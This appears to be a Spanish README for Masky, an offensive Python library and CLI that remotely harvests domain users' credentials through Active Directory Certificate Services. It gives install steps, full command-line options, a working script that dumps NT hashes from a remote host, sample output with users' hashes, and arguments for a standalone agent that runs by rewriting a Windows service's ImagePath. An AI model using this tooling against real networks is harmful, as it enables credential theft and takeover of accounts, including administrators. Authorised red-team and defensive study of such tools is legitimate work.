
Librería Python con CLI que permite volcar de forma remota las credenciales de usuarios de dominio a través de un ADCS sin volcar la memoria del proceso LSASS
Masky es una librería de Python que proporciona una forma alternativa de volcar de forma remota las credenciales de los usuarios del dominio gracias a un ADCS. Se ha construido una herramienta de línea de comandos sobre esta librería para recopilar fácilmente PFX, hashes NT y TGT en un ámbito más amplio.
Esta herramienta no explota ninguna nueva vulnerabilidad y no funciona volcando la memoria del proceso LSASS. De hecho, solo aprovecha características legítimas de Windows y Active Directory (suplantación de tokens, autenticación mediante certificados a través de Kerberos y recuperación de hashes NT mediante PKINIT). Se publicó una entrada de blog que detalla las técnicas implementadas y cómo funciona Masky.
El código fuente de Masky se basa en gran medida en las increíbles herramientas Certify y Certipy. Agradezco enormemente a sus autores por las investigaciones sobre técnicas ofensivas de explotación contra ADCS (ver sección de Agradecimientos).
La librería Masky para Python 3 y su CLI asociada se pueden instalar fácilmente a través del repositorio público PyPi de la siguiente manera:
pip install masky
El ejecutable del agente Masky ya está incluido dentro del paquete PyPi.
Además, si necesitas modificar el agente, el código en C# se puede recompilar a través de un proyecto de Visual Studio ubicado en agent/Masky.sln. Requeriría .NET Framework 4 para ser compilado.
Masky ha sido diseñado como una librería de Python. Además, se creó una interfaz de línea de comandos sobre ella para facilitar su uso durante pruebas de penetración o actividades de Red Team.
Para ambos usos, primero necesitas obtener el FQDN de un servidor de CA y su nombre de CA desplegado a través de un ADCS. Esta información se puede obtener fácilmente mediante la opción certipy find o mediante la herramienta integrada certutil.exe de Microsoft. Asegúrate de que la plantilla User predeterminada esté habilitada en la CA objetivo.
Advertencia: Masky despliega un ejecutable en cada objetivo mediante una modificación del servicio RasAuto existente. A pesar de la reversión automática de su valor ImagePath original, un error inesperado durante la ejecución de Masky podría omitir la fase de limpieza. Por lo tanto, no olvides restablecer manualmente el valor original en caso de una detención no deseada.
La siguiente demostración muestra un uso básico de Masky al atacar 4 sistemas remotos. Su ejecución permite recopilar hashes NT, CCACHE y PFX de 3 usuarios de dominio distintos del dominio de prueba sec.lab.
Masky también proporciona opciones que son comunes en tales herramientas (número de hilos, modo de autenticación, objetivos cargados desde archivos, etc.).
__ __ _
| \/ | __ _ ___| | ___ _
| |\/| |/ _` / __| |/ / | | |
| | | | (_| \__ \ <| |_| |
|_| |_|\__,_|___/_|\_\__, |
v0.0.3 |___/
uso: Masky [-h] [-v] [-ts] [-t HILOS] [-d DOMINIO] [-u USUARIO] [-p CONTRASEÑA] [-k] [-H HASHES] [-dc-ip dirección ip] -ca AUTORIDAD_CERTIFICADO [-nh] [-nt] [-np] [-o SALIDA]
[objetivos ...]
argumentos posicionales:
objetivos Se aceptan objetivos en formato CIDR, nombre de host e IP, desde un archivo o no
opciones:
-h, --help muestra este mensaje de ayuda y sale
-v, --verbose habilita mensajes de depuración
-ts, --timestamps muestra marcas de tiempo para cada registro
-t HILOS, --threads HILOS
tamaño del grupo de hilos (máx. 15)
Autenticación:
-d DOMINIO, --domain DOMINIO
nombre de dominio para autenticarse
-u USUARIO, --user USUARIO
nombre de usuario para autenticarse
-p CONTRASEÑA, --password CONTRASEÑA
contraseña para autenticarse
-k, --kerberos usa autenticación Kerberos. Obtiene credenciales del archivo ccache (KRB5CCNAME) basado en los parámetros del objetivo.
-H HASHES, --hashes HASHES
hashes para autenticarse (LM:NT, :NT o :LM)
Conexión:
-dc-ip dirección ip dirección IP del controlador de dominio. Si se omite, usará la parte del dominio (FQDN) especificada en el parámetro objetivo
-ca AUTORIDAD_CERTIFICADO, --certificate-authority AUTORIDAD_CERTIFICADO
nombre de la Autoridad de Certificación (SERVIDOR\NOMBRE_CA)
Resultados:
-nh, --no-hash no solicitar hashes NT
-nt, --no-ccache no guardar archivos ccache
-np, --no-pfx no guardar archivos pfx
-o SALIDA, --output SALIDA
ruta local a una carpeta donde se almacenarán los resultados de Masky (crea la carpeta automáticamente si no existe)
A continuación se muestra un script simple que usa la librería Masky para recopilar secretos de sesiones de usuario de dominio activas desde un objetivo remoto.
from masky import Masky
from getpass import getpass
def dump_nt_hashes():
# Define los parámetros de autenticación
ca = "srv-01.sec.lab\sec-SRV-01-CA"
dc_ip = "192.168.23.148"
domain = "sec.lab"
user = "askywalker"
password = getpass()
# Crea una instancia de Masky con estas credenciales
m = Masky(ca=ca, user=user, dc_ip=dc_ip, domain=domain, password=password)
# Establece un objetivo y ejecuta Masky contra él
target = "192.168.23.130"
rslts = m.run(target)
# Verifica si Masky secuestró exitosamente al menos una sesión de usuario
# o si ocurrió un error inesperado
if not rslts:
return False
# Itera sobre el objeto MaskyResult para mostrar los usuarios secuestrados y obtener sus hashes NT
print(f"Resultados del hostname: {rslts.hostname}")
for user in rslts.users:
print(f"\t - {user.domain}\{user.name} - {user.nt_hash}")
return True
if __name__ == "__main__":
dump_nt_hashes()
Su ejecución genera la siguiente salida.
$> python3 .\masky_demo.py
Password:
Results from hostname: SRV-01
- sec\hsolo - 05ff4b2d523bc5c21e195e9851e2b157
- sec\askywalker - 8928e0723012a8471c0084149c4e23b1
- sec\administrator - 4f1c6b554bb79e2ce91e012ffbe6988a
Un objeto MaskyResults que contiene una lista de objetos User se devuelve después de una ejecución exitosa de Masky.
Por favor, consulta el módulo masky\lib\results.py para verificar los métodos y atributos proporcionados por estas dos clases.
Desde la versión 0.0.5 de Masky, el agente ejecutable independiente ahora se puede ejecutar fácilmente sin la CLI de Python.
Estos son los argumentos:
$> .\Masky.exe /ca:'SERVIDOR CA\NOMBRE CA' (/template:User) (/currentUser) (/output:./output.txt) (/debug:./debug.txt)
El parámetro /ca es obligatorio, al igual que en la CLI de Python. Además, se ha añadido el argumento /currentUser para evitar la suplantación de tokens en ejecución. De hecho, se realizará una solicitud de certificado simple en el contexto del usuario actual, basada en la plantilla proporcionada (template). Los parámetros /output y /debug permiten especificar la ruta donde se crearán los archivos.
Los valores predeterminados son los siguientes: